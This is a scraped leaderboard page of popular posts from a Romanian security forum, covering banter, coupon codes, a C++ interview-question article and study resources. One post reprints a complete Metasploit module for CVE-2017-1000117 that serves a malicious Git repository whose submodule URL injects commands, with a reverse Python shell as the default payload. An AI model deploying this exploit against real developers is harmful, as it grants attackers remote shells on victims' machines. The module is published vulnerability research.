Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 09/01/17 in all areas

  1. La noi astia cu carnea, ne lasa gura apa cand vedem ce a dat albastrel. La voi astia vegani, cand vedeti stadioane cu gazon, va saliveaza gura ?
    7 points
  2. 1. What the actual fuck?!? 2. Ai cerut pareri dar apoi te apuci sa contrazici omul. E parerea lui, take it or leave it (asa cum o ai pe a ta). 3. Daca te plictisesti mergi si taie frunze la caini. (couldn't resist!)
    4 points
  3. https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-caliskan-islam.pdf
    3 points
  4. Mersi baieti! @Technetium, coaie esti pe legale?
    3 points
  5. Genial, deci practic ai inlocuit elseif cu case si in final ai fi scris cu o linie mai mult decat cu elseif.
    2 points
  6. CJGTD234VMJ44FV9397RR2JHZ - 10% discount Microsoft Store. This is a single use code for your use only. (daca e folosit mai pot procura. Daca il folositi spuneti.) UNIUKIR13420EWK - 20% discount Sennheiser. This is a single use code for your use only. (daca e folosit mai pot procura. Daca il folositi spuneti) RCWX$MHL?5PJ7S - 10% discount Dell. This is a single use discount code and cannot be used in combination with any other offer (daca e folosit mai pot procura. Daca il folositi spuneti). Maximum 1 code redemption per member per month. Discount applies to Inspiron, XPS, Vostro, Latitude, Precision, OptiPlex and Alienware. Discount applies to hardware products over £499 inc Vat and free shipping on one unit. The discount coupon can be redeemed online only. Purchases can only be made via the Home Section of the Dell website UNI-8-10-MS6R3W5 - 10% discount Canon. HP - urmatoarele reduceri doar prin contul meu: Savings of up to 30% on Accessories, up to 10% on Printers, up to 15% on Inks and Toners, up to 10% on Monitors & up to 10% on PC's. Microsoft Surface Pro 4 - 256GB / Intel Core i7/8GB RAM - £958.30 - (doar prin contul meu)
    2 points
  7. EDB-ID: 42599 Author: Metasploit Published: 2017-08-31 CVE: CVE-2017-1000117 Type: Remote Platform: Python Aliases: N/A Advisory/Source: Link Tags: Metasploit Framework E-DB Verified: Exploit: Download / View Raw Vulnerable App: N/A ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => 'Malicious Git HTTP Server For CVE-2017-1000117', 'Description' => %q( This module exploits CVE-2017-1000117, which affects Git version 2.7.5 and lower. A submodule of the form 'ssh://' can be passed parameters from the username incorrectly. This can be used to inject commands to the operating system when the submodule is cloned. This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised. ), 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2017-1000117'], ['URL', 'http://seclists.org/oss-sec/2017/q3/280' ] ], 'DisclosureDate' => 'Aug 10 2017', 'Targets' => [ [ 'Automatic', { 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'python' } } } ] ], 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_python' }, 'DefaultTarget' => 0 ) ) register_options( [ OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']), OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', '']) ] ) end def setup @repo_data = { git: { files: {} } } setup_git super end def setup_git # URI must start with a / unless git_uri && git_uri =~ /^\// fail_with(Failure::BadConfig, 'GIT_URI must start with a /') end payload_cmd = payload.encoded + " &" payload_cmd = Rex::Text.to_hex(payload_cmd, '%') submodule_path = datastore['GIT_SUBMODULE'] if submodule_path.blank? submodule_path = Rex::Text.rand_text_alpha(rand(8) + 2).downcase end gitmodules = "[submodule \"#{submodule_path}\"] path = #{submodule_path} url = ssh://-oProxyCommand=#{payload_cmd}/ " sha1, content = build_object('blob', gitmodules) @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content tree = "100644 .gitmodules\0#{[sha1].pack('H*')}" tree += "160000 #{submodule_path}\0#{[sha1].pack('H*')}" sha1, content = build_object('tree', tree) @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content ## build the supposed commit that dropped this file, which has a random user/company email = Rex::Text.rand_mail_address first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten full_name = "#{first.capitalize} #{last.capitalize}" tstamp = Time.now.to_i author_time = rand(tstamp) commit_time = rand(author_time) tz_off = rand(10) commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \ "committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \ "\n" \ "Initial commit to open git repository for #{company}!\n" sha1, content = build_object('commit', "tree #{sha1}\n#{commit}") @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n" @repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n" end # Build's a Git object def build_object(type, content) # taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html header = "#{type} #{content.size}\0" store = header + content [Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)] end # Returns the Git object path name that a file with the provided SHA1 will reside in def get_path(sha1) sha1[0...2] + '/' + sha1[2..40] end def exploit super end def primer # add the git and mercurial URIs as necessary hardcoded_uripath(git_uri) print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}") end # handles routing any request to the mock git, mercurial or simple HTML as necessary def on_request_uri(cli, req) # if the URI is one of our repositories and the user-agent is that of git/mercurial # send back the appropriate data, otherwise just show the HTML version user_agent = req.headers['User-Agent'] if user_agent && user_agent =~ /^git\// && req.uri.start_with?(git_uri) do_git(cli, req) return end do_html(cli, req) end # simulates a Git HTTP server def do_git(cli, req) # determine if the requested file is something we know how to serve from our # fake repository and send it if so req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '') if @repo_data[:git][:files].key?(req_file) vprint_status("Sending Git #{req_file}") send_response(cli, @repo_data[:git][:files][req_file]) else vprint_status("Git #{req_file} doesn't exist") send_not_found(cli) end end # simulates an HTTP server with simple HTML content that lists the fake # repositories available for cloning def do_html(cli, _req) resp = create_response resp.body = <<HTML <html> <head><title>Public Repositories</title></head> <body> <p>Here are our public repositories:</p> <ul> HTML this_git_uri = URI.parse(get_uri).merge(git_uri) resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>" resp.body << <<HTML </ul> </body> </html> HTML cli.send_response(resp) end # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI def git_uri return @git_uri if @git_uri if datastore['GIT_URI'].blank? @git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git' else @git_uri = datastore['GIT_URI'] end end end Source: https://www.exploit-db.com/exploits/42599/
    2 points
  8. https://mediagalaxy.ro/hard-disk-desktop-seagate-st2000vx000-2tb-7200rpm-64mb-sata3 HDD Seagate 2TB - 205 Lei (recomandat pentru supraveghere video)
    2 points
  9. - - Zii sa mori tu ca "ideile geniale" se nasc din discutii contradictorii pe RST despre vegan vs non-vegan! Geme Rromania de genii formati din discutii de genul pe RST. - Argumentele se merita facute intr-un mediu relativ echivalent. Nu trebuie sa te pui cu mintea prostului pentru ca e odihnita.
    2 points
  10. Aici se vor posta doar oferte valabile gasite la diferite magazine online, din tara si nu numai. Rog a se posta atat link-ul cat si pretul. Ar fi indicat sa va asigurati ca produsul respectiv nu exista la un pret mai mic la un alt magazin, altfel ar fi inutil postul. Deasemenea, reducerea sa fie semnificativa, nu de-al de 3 lei 25.
    1 point
  11. Am corectat. M-am referit la comparaţii de tipul a > b, a >=b, etc. În general, din ce am văzut, sunt folosite două variante în case: dacă variabila este identică cu o valoare sau dacă variabila se află într-un interval (ex. "case 1 ... 100").
    1 point
  12. @Erase @dancezar Ceva de genul asta: <?php function return_time($timestamp){ $mins = time() - $timestamp; switch (true) { case $mins == 0: $mins = "adineauri"; break; case $mins == 1: $mins = "acum o secunda"; break; case $mins < 20: $mins = "acum $mins secunde"; break; default: $mins = "niciodata"; break; } return $mins; } ?>
    1 point
  13. Daca aplici pentru companii straine iti recomand serviciile celor de aici - https://www.cvcentre.co.uk/ - acum ceva ani m-au ajutat mult si s-a meritat cat am dat atunci (£40) pentru CV si profil Linkedin. Intre timp au mai crescut preturile dar am vazut diferente majore in numarul de raspunsuri / invitatii la interviu de atunci. Si l-au retusat de 2x pana am fost multumit, fara cost aditional.
    1 point
  14. https://www.linkedin.com/in/munteanu-alexandru-61738278/ Sau https://www.linkedin.com/search/results/index/?keywords=pentester&origin=GLOBAL_SEARCH_HEADER Sau https://www.linkedin.com/search/results/people/?keywords=pentester&origin=SWITCH_SEARCH_VERTICAL
    1 point
  15. Am fost la un interviu de security si am avut niste intrebari. Dupa aproximativ 3 saptamani, in timp ce cautam resurse despre cartea blue team field manual, am descoperit blogul lui https://danielmiessler.com/study/infosec_interview_questions/#gs.9CoId30 care continea in proportie de 90% intrebarile pe care mi le-au pus. Poate va este de ajutor.
    1 point
  16. Nu-s la curent cu studiile stiintifice pe subiectul asta, dar sunt convins ca pot gasi pe google si studii care zic ca si carnea e buna. Sunt de acord ca e ok sa diversifici, sa mananci si carne, si legume, si fructe, dar toate cu masura. Nu e gresit sa-ti fie mila de un caine sau alt animal, dar e stupid sa te iei prea in serios si sa nu tai nici o gaina doar pentru ca e neajutorata. Chiar daca mie nu mi se pare ok sa mananc un caine pentru ca noi pe-aici empatizam cu ei, dar cu totii cred ca am vazut pe youtube ce fac chinezii cu ei. La fel cred ca nici indienii nu ar manca vita, dar la noi nu lipseste din niciun restaurant. La fel si musulmanii cu porcul pentru ca religia nu le permite.
    1 point
  17. Alti zapaciti din Resurse Umane, care nu stiu cum ce se mananca meseria de pentester. Cu anunturi din alea ii plin netu'!
    1 point
  18. Certificare RST Forum? https://rstforum.net/ ...
    1 point
  19. 10 Proven C++ Programming Questions to Ask on Interview May 25, 2017 Programming Interview Questions 2 Comments Need to hire C++ developers? Not confident you have the resources to pick the best ones? Don’t worry – we’re here to help you! We’ve assembled a team of expert C++ programmers who have worked hard to produce a collection of premade C++ interview questions you can use to bolster your interview process. These C++ programming questions are your secret weapon for face-to-face interviews with prospective hires: answers, explanations, follow-up questions, code snippets. Even if you’re not a C++ guru yourself, these questions will let you conduct an interview like one, helping you find the master developers your project demands! So here are the questions and answers: [Question #1 – std::unique_ptr – Standard library] [Question #2 – Rule of Five – RAII] [Question #3 – Finding bugs – Basics] [Question #4 – Automatic objects – RAII] [Question #5 – Iterators – Standard library] [Question #6 – Undefined/unspecified behaviour – Standards] [Question #7 – Macros – Preprocessor] [Question #8 – Pointer detector – Templates] [Question #9 – Insertion sort – Templates] [Question #10 – Max heap – Algorithms and data structures] [BONUS – C++ Online Test] [Question #1 – std::unique_ptr – Standard library] What happens when a std::unique_ptr is passed by value to a function? For example, in this code snippet? #include <memory> auto f(std::unique_ptr<int> ptr) { *ptr = 42; return ptr; } int main() { auto ptr = std::make_unique<int>(); ptr = f(ptr); } Why this C++ question? As mentioned before, memory management is a nontrivial burden for the C++ programmer. Smart pointers are helpful in this regard, but they must be well understood in order to be used correctly. This question tests for the interview candidate’s understanding of one common type of smart pointer. Possible answers The correct answer is that this code won’t even compile. The std::unique_ptr type cannot be copied, so passing it as a parameter to a function will fail to compile. To convince the compiler that this is fine, std::move can be used: ptr = f(std::move(ptr)); Follow-up questions The interview candidate might think that returning a noncopiable object from a function is also a compiler error, but in this case it’s allowed, thanks to copy elision. You can ask the candidate under what conditions copy elision is performed. Of course, the above construct with std::move is less than ideal. Ask the candidate how they would change the function f to make it better. For example, passing a (const) reference to the unique_ptr, or simply a reference to the int pointed to, is probably preferred. ↑↑ Scroll up to the list of C++ questions [Question #2 – Rule of Five – RAII] Write a copy constructor, move constructor, copy assignment operator, and move assignment operator for the following class (assume all required headers are already included): class DirectorySearchResult { public: DirectorySearchResult( std::vector<std::string> const& files, size_t attributes, SearchQuery const* query) : files(files), attributes(attributes), query(new SearchQuery(*query)) { } ~DirectorySearchResult() { delete query; } private: std::vector<std::string> files; size_t attributes; SearchQuery* query; }; Why this interview question? Writing boilerplate like this should be straightforward for any C++ programmer. It is also interesting to see the interview candidate’s response to the class design, and see if they question it at all. Possible answers Copy constructor: DirectorySearchResult(DirectorySearchResult const& other) : files(other.files), attributes(other.attributes), query(other.query ? new SearchQuery(*other.query) : nullptr) { } Here, it’s the check for null pointer to watch out for. As given, the query field cannot be null, but since it’s not const this may change later. Move constructor: DirectorySearchResult(DirectorySearchResult&& other) : files(std::move(other.files)), attributes(other.attributes), query(other.query) { other.query = nullptr; } Watch out for correct usage of std::move here, as well as correct “pointer stealing” for the query pointer. It must be nulled, otherwise the object will be deleted by other. Assignment operator: DirectorySearchResult& operator=(DirectorySearchResult const& other) { if (this == &other) return *this; files = other.files; attributes = other.attributes; delete query; query = other.query ? new SearchQuery(*other.query) : nullptr; return *this; } A pitfall is forgetting to check for self-assignment. It’s also worth looking out for a correct function signature, and again handling a null query. Move assignment operator: DirectorySearchResult& operator=(DirectorySearchResult&& other) { files = std::move(other.files); attributes = other.attributes; std::swap(query, other.query); return *this; } As with the move constructor, watch out for correct std::move usage and correct pointer stealing. Follow-up questions If the interview candidate hasn’t mentioned it already, ask them how the design of this class could be improved. There is no reason for SearchQuery to be a pointer! If we make it a simple object (composition), the default, compiler-generated versions of all four functions would suffice, and the destructor can be removed as well. ↑↑ Scroll up to the list of C++ questions [Question #3 – Finding bugs – Basics] There are multiple issues/bugs with the following code. Name as many as you can! #include <vector.h> void main(int argc, char** argv) { int n; if (argc > 1) n = argv[0]; int* stuff = new int[n]; vector<int> v(100000); delete stuff; return 0; } Why this programming question? In any programming language, debugging is an essential skill; C++ is no exception. Being able to debug a program on paper, without looking at its actual runtime behavior, is a useful skill, because the ability to spot incorrect code helps the programmer avoid those mistakes in their own code. Also, it’s just plain fun to pick someone else’s code apart like that, so this serves as a good warm-up question to put interview candidates at ease. Possible answers vector.h should be vector main cannot be void in C++ argv[0] is the program name, not the first argument argv[0] is a pointer to a string, and should not be assigned to n directly If argc <= 1, then n is uninitialized, and using it invokes undefined behavior vector is used without using namespace std or std:: the vector constructor might throw an exception (std::bad_alloc), causing stuff to be leaked stuff points to an array, so it should be deleted using delete[] cannot return 0 from a void function Follow-up questions For each issue the candidate identifies, ask how it can best be fixed. They should at least mention using a smart pointer or std::vector instead of a raw pointer for stuff. 10 Proven C++ Programming Questions to Ask on Interview (Explanations, Possible Answers, Following Questions)Click To Tweet ↑↑ Scroll up to the list of C++ questions [Question #4 – Automatic objects – RAII] Explain what an automatic object is (that is, an object with automatic storage duration; also called “Stack object”) and what its lifetime is. Explain how an object with dynamic storage duration (heap object) is created, and how it is destroyed. Why is dynamic storage duration discouraged unless necessary, and where is it necessary? What is the inherent problem with raw pointers owning an object? I.e. why is the following considered bad practice, and what standard library construct would you utilize if you needed a dynamically resizable array? auto p = new int[50]; Show how to initialize a smart pointer, and explain why using one is exception safe. Why this C++ interview question? Unlike garbage-collected languages, C++ puts the burden of managing object lifetimes (and thereby memory) on the programmer. There are many ways to do this wrong, some ways to do it approximately right, and few ways to do it entirely “by the book”. This series of questions drills the interview candidate about these matters. Possible answers A stack object is created at the point of its definition, and lives until the end of its scope (basically, until the closing curly brace of the block it is declared in). A heap object is created with the new operator and lives until delete is called on it. The problem with raw pointers is that ownership is not enforced; it is the responsibility of the programmer to ensure that the object pointed to is deleted, and deleted only once. Advanced candidates might also mention exception safety here, because the possibility of exceptions makes it significantly more complicated to ensure eventual deletion. Unlike its precursor C, C++ offers smart pointers, which are the preferred tool for the job. In particular, to create a “smart pointer” to a dynamically resizable array, std::vectorshould be used. An example of smart pointer usage: auto p = std::make_unique<Foo>(); Follow-up questions Ask the candidate which types of smart pointer exist in the C++ standard library, and what their differences are. Ask which ones can be used in standard containers (e.g. vector, map). You can also ask about the difference between std::make_shared<T>(…) and std::shared_ptr<T>(new T(…)). (The former is more exception-safe when used as a function argument, and might also be implemented more efficiently.) ↑↑ Scroll up to the list of C++ questions [Question #5 – Iterators – Standard library] The C++ standard library represents ranges using iterators. What is an iterator, and what different kinds do you know of? Can you explain why the following snippet fails, and why l’s iterators aren’t suitable? std::list<int> l {1, 2, 3}; std::sort(l.begin(), l.end()); Explain how the begin and end iterators of a range correspond to its elements and illustrate this by giving the expressions for begin and end iterators of an array arr. Why this question? Standard library containers are the bread and butter of writing algorithms in C++. As in any programming language, one of the most common tasks to perform on a container is to iterate over it. In the C++ standard library, this is accomplished using special-purpose, pointer-like objects called iterators, which come in different types. Asking the candidate about these will reveal how well they understand the concept of iterators, as well as the structure of the underlying container. Possible answers An iterator resembles a smart pointer, in the sense that it points to a particular object in a container. But iterators have additional operations besides deferencing, depending on their type: forward iterators can be incremented, bidirectional iterators can additionally be decremented, and random access iterators can additionally be moved by an arbitrary offset. There are also output iterators, which may for example add objects to the container when assigned to. The reason that the sort call won’t work is that it requires a random access iterator, but std::list only provides a bidirectional iterator. By convention, the begin iterator of a collection refers to the first element, and the enditerator refers one past the last element. In other words, they form a half-open range: [begin, end). Follow-up questions Ask how the code could be fixed to sort an std::list (e.g. by copying it into a vector first, and back again after sorting). You could even ask the candidate to implement an iterator for a particular data structure (e.g. an array). ↑↑ Scroll up to the list of C++ questions [Question #6 – Undefined/unspecified behavior – Standards] Describe what “undefined behavior” means, and how it differs from “unspecified behavior”. Give at least 3 examples of undefined behavior. Why this C++ question? The C++ standard does not specify the behavior of the program in every case, and deliberately leaves some things up to compiler vendors. Typically, such cases are to be avoided in practice, so this question is to test whether the interview candidate has seen practical examples of such code. Possible answers Undefined behavior (UB) means that the standard guarantees nothing about how the program should behave. Unspecified (or implementation-defined) behavior means that the standard requires the behavior to be well-defined, but leaves the definition up to the compiler implementation. This is only the textbook definition; candidates should mention that undefined behavior implies that anything might happen: the program works as intended, it crashes, it causes demons to fly out of your nose. They should mention that UB should always be avoided. They might mention that implementation-defined behavior should probably be avoided as well. Common examples of undefined behavior include: dereferencing a null or wild pointer accessing uninitialized memory, like going beyond the bounds of an array or reading an uninitialized local variable deleting the same memory twice, or more generally deleting a wild pointer arithmetic errors, like division by zero Follow-up questions If the candidate doesn’t come up with enough UB cases, you can make up some cases of dodgy-looking code and ask them whether it exhibits UB or not. ↑↑ Scroll up to the list of C++ questions [Question #7 – Macros – Preprocessor] At what stage of compilation is the preprocessor invoked, and what kind of directives are there? The following is the declaration of a macro that is used as a constant in some internal API header (B is another entity): #define A 2048*B List two issues with this macro: one related to this particular one, for which you should give illustrative example code that breaks the macro, and one related to all macros (hint: think of names). Why this question? Even though the preprocessor is typically used in C++ for just a few specific tasks, it is still important to have a basic understanding of its operation and its limitations. The preprocessor makes it very easy to shoot yourself in the foot, so “responsible usage” is essential. As stated, this looks like more of a trivia than a discussion question, and it’s up to the interviewer to dig deeper where necessary. Possible answers The preprocessor is invoked on a translation unit (“source file”) before actual compilation starts. The output of the preprocessor is passed to the compiler. Even junior candidates should give an answer along these lines. Common preprocessor directives are #include, #define, #ifdef, #ifndef, #if, #else, #elif, #endif. Candidates should be able to list most of these. They might also mention less common directives, such as #undef and #pragma. The two problems with the #define code are: Lack of parentheses, in two places. If B is defined as 1+1, then A will not have the value 4096 as expected, but rather 2049. If A is used in an expression like !A, this will expand to ~2048*B, rather than ~(2048*B), which may have a very different value. The macro should have been defined as: #define A (2048*(B)) Good candidates will mention that this should probably not have been a macro in the first place, but simply a compile-time constant. Overly short names. Preprocessor macros are all in a single scope, which spans all files #included afterwards as well, so one has to be very careful about name clashes. If some unrelated code declared an enum { A, B }, for example, that code would fail to compile with a very confusing error message. Follow-up questions It is common for candidates to mention only one of the two pairs of missing parentheses. In this case, prompt them to find more issues. This can also lead to a discussion about why the preprocessor should be avoided when possible, and what the C++ style alternatives are. ↑↑ Scroll up to the list of C++ questions [Question #8 – Pointer detector – Templates] Write a templated struct that determines, at compile time, whether its template argument T is a pointer. Why this C++ programming question? Template metaprogramming in C++ is an advanced topic, so this question is one of the c++ interview questions for experienced professionals and should not be posed to junior interview candidates. However, for senior candidates, this question can be a good indicator of the depth of their practical experience with the C++ language. Possible answers The candidate might mention that std::is_pointer already exists. It could be implemented like this: template<typename T> struct is_pointer { enum { value = false; }; }; template<typename T> struct is_pointer<T*> { enum { value = true; }; } Template overload resolution will pick the most specific version, so if the type is a pointer, the last one will be selected, which contains an enum field value with the value true. Otherwise it falls back to the first, where value is false. It is also possible to use a static const bool instead of an enum, but this has some drawbacks. The constants would still occupy memory space, so it’s not a 100% compile-time construct anymore. Moreover, you’d need to redefine the existence of value outside the template in order for it to exist, because the assignment of a value in this case does not make it into an actual definition. It would work in some cases, but would fail if you take the address, for example. Follow-up questions If the candidate doesn’t offer an explanation of their code, ask them for it. You can also ask them about what “most specific” means, i.e. how template overload resolution actually works. Please note one more time that this question is one of the advanced c++ interview questions. ↑↑ Scroll up to the list of C++ questions [Question #9 – Insertion sort – Templates] Define a function insertion_sort which accepts as first and only argument a reference to an std::array only if the element types are integral (the trait std::is_integral might be of help) and the size of the array is less than 128 elements, and sorts it using insertion sort. Why this C++ technical interview question? This tests for the candidate’s knowledge of std::enable_if, a compile-time construct which lets the C++ programmer put additional restrictions on the types that their template accepts. This is an advanced skill, useful when writing library code, for example to avoid incorrect or inefficient usage of the API. The interesting part here is the function signature, but the candidate’s ability to implement an insertion sort is also tested. It’s up to the interviewer how much emphasis to put on either of these parts. Possible answers A possible implementation: template<typename T, std::size_t N> typename std::enable_if< N < 128 && std::is_integral<T>::value, void >::type insertion_sort(std::array<T, N>& array) { for (std::size_t i = 0; i < N; i++) { for (std::size_t j = i; j > 0 && array[j] < array[j-1]; j--) { std::swap(array[j], array[j - 1]); } } } Do not punish the candidate for not knowing the exact usage of all these standard library templates. The important thing is that they grasp the overall concepts; the details can be looked up online easily enough. Follow-up questions If you haven’t asked the “pointer detector” question, you could ask the candidate here how they would implement std::enable_if and/or std::is_integral. ↑↑ Scroll up to the list of C++ questions [Question #10 – Max heap – Algorithms and data structures] Describe what a max heap is. Provide the definition of a max heap class which supports a wide range of element types and all basic operations that can be performed on a heap. Why this question? At first, this seems like a pure algorithms question, but note that we are not asking for the implementation of any of the operations. This question purely tests the candidate’s ability to design a proper C++ class. Possible answers Depending on the design decisions that the interview candidate makes along the way, the result could be something like this: template<typename T> class heap { public: void add(T const &value); T const &max() const; T remove_max(); size_t size() const; private: std::vector<T> elements; }; Look out for the following: Are the class and its operations being named consistently and intuitively? What type is being used for the internal container? std::vector is preferred, but other possibilities exist. Use of a raw pointer to an array is a red flag, because it will make the class needlessly hard to implement. What is the argument type of the add function? This should be a pointer or reference type in order to avoid needless copying. An overload that takes an rvalue reference is a bonus. What is the return value of the max and remove_max functions? Are functions marked as const where possible? Are noexcept clauses used as appropriate? Follow-up questions Many design decisions can be made along the way, each of which can be used by the interviewer as a hook to lead into further discussion about the various tradeoffs in the design. ↑↑ Scroll up to the list of C++ questions [C++ Interview Test] Prefer a more hands-off approach to selecting candidates? No problem: just use our automated multiple-choice questions C++ test instead. Just send prospective developers their own unique custom link, and you’ll automatically receive an email notification if they pass. You can make your candidate selection process even more efficient with a mix-and-match approach: use our 20-question quiz to find the top candidates, and then bring them in for an interview using our premade questions. You can save time and effort by weeding out the majority of candidates before you ever see them in person! ↑↑ Scroll up to the list of C++ questions Conclusion It remains a tricky business to assess an interview candidate’s worth within the space of an hour, or even two. Using a set of well-tested c++ programming interview questionslike the above, and calibrating them by using them on many different candidates, will help you take some of the noise out of the equation to get a better signal on the candidate’s abilities. This, in turn, will result in better hiring decisions, a stronger team, and eventually a better-functioning organization. ↑↑ Scroll up to the list of C++ questions Authors These C++ technical interview questions have been created by this team of C++ professionals: Thomas ten Cate, Ex-Googler Agustín Bergé Thomas Pigarelli Robert Haberlach Cameron Desrochers Michele Caini Sursa: https://tests4geeks.com/cpp-interview-questions/
    1 point
  20. Assamblare Nou: cursuri (doc) de la facultate, EASY ASM Lungu+Musca Slide Arhitectura Slide Arhitectura: Name ------------------------------------------------------ APEL.doc ASSAMBLE.DOC BIBLIOGRAFIE.doc Cuprins Curs ARHI.doc Cursul 1 Introducere.ppt Cursul 1 Introducerei.ppt Cursul 1.doc Cursul 10 Interfata seriala si paralela.ppt Cursul 10.doc Cursul 12 Dispozitive secundare de stocare.ppt Cursul 12.doc Cursul 2 Registrele CPU 8086 si Moduri de adresare.ppt Cursul 2.doc Cursul 3 Instructiuni.ppt Cursul 3.doc Cursul 4 Servicii BIOS&DOS.ppt Cursul 4.doc Cursul 5 Moduri VIDEO.ppt Cursul 5.doc Cursul 6 Programe in limbaj de asamblare.ppt Cursul 6.doc Cursul 7 Tehnici IO.ppt Cursul 7.doc Cursul 8 Circuite Timer_Counter.ppt Cursul 8.doc Cursul 9 Hotkeys_Clock Ticks si TSR.ppt Cursul 9.doc desene.doc MACROMUS.WPD Moduri de adresare.doc Programul DEBUG.doc ------------------------------------------------------ 31 Files - 13.564 MB Download link: http://www59.zippyshare.com/v/EMelR8TF/file.html
    1 point
  21. In IT poti face reverse engineering la orice pt ca sunt specialisti:bietii programatori.Se cunoaste absolut orice.Capul bietului programator trebuie sa aiba 2 kilograme de stiinta.In neurochirurgie sunt amatori.Nu se cunoaste nici 10% din functiile creierului.Orice neurochirurg cu experienta are mii de morti.Credeti ca sta cineva sa-i planga pe pacienti?Ati vazut prea multe filme.El a incercat sa-l faca bine,sa-i scoata umflatura sau cheagul din creier,la fel cum scoate de zeci de ani de la mii de pacienti.Ce e asa extraordinar sa scoti bubite din creier?Te uiti la altul cum scoate bubite(specializarile in afara) si scoti si tu.Citesti o carte cu noile tehnici de scos bubite si aia e.Cazurile de malpraxis sunt musamalizate intre doctori.Doar daca nu bagi o bila de biliard in loc de creier sau stiu eu ce.Sau sa faci experiente pe pacienti.Si nici atunci.Risc zero. Nu sunteti stresati de deadline-uri si de invatat lucruri noi pentru ca sunteti tineri.Si in general,programarea e o stiinta noua.Dar o sa vedeti cum umplu spitalele de nebuni bietii programatori dupa ce ies la pensie. Ar trebui ca guvernul sa introduca grupa 1 de munca pentru programatori.Nu sa stai 4-5 ore in picioare e greu,ci 20 de ore pe scaun nemiscat cu ochii in monitor.Se aduna toate astea. De ce sa-i pui impozit pe venit unei categorii in care statul nu investeste nimic?Tot ce face programatorul face cu mintea,nu-i trebuie echipamente,infrastructura.Nu e medic sau profesor.
    1 point
  22. Da,o sa-i zic.Dupa ce ma trezesc din operatie.Daca ma mai trezesc. Ce are de facut un neurochirurg?Nu lucreaza cu deadline-uri,nu trebuie sa invete lucruri noi de teama ca vin tinerii si-i iau locul.Creierul uman nu se schimba,nu e Ruby.Meseria de neurochirurg e supra-apreciata,nu trebuie sa fii savant sau programator.Trebuie doar sa nu-ti tremure mana.Daca moare unul,vine altul la rand,pe cand bietul programator zboara.Nu-ti arzi ochii in monitor toata ziua,nu pierzi noptile,nu stai singur in fata unei bucati de cod,nu esti virgin la 30 de ani. Ai zis bine: ti se par.Nu ai cum sa bagi linii de cod 20 de ani fara sa nu devii al 2-lea Hitler.
    1 point
  23. Deocamdata nu, asteptam sa vedem daca se ia aceasta masura sau nu. Muie PSD, intotdeauna!
    1 point
  24. AGSQ iti transmite sa citesti, ori de cate ori te simti neputincios, paraclisul Maicii Domnului si sa vorbesti cu duhovnicul tau (fa-ti unul daca n-ai): http://www.doxologia.ro/ceaslov/paraclise/paraclisul-preasfintei-nascatoare-de-dumnezeu
    -1 points
  25. Da il contrazic! Ce e rau in asta? Din perspectiva mea gandeste gresit! Ideile geniale se nasc din discutii contradictorii, atunci cand ambele parti au argumente solide. Ai vreun argument ? sau ai de gand sa o faci pe avocatu? Crybaby!
    -1 points
×
×
  • Create New...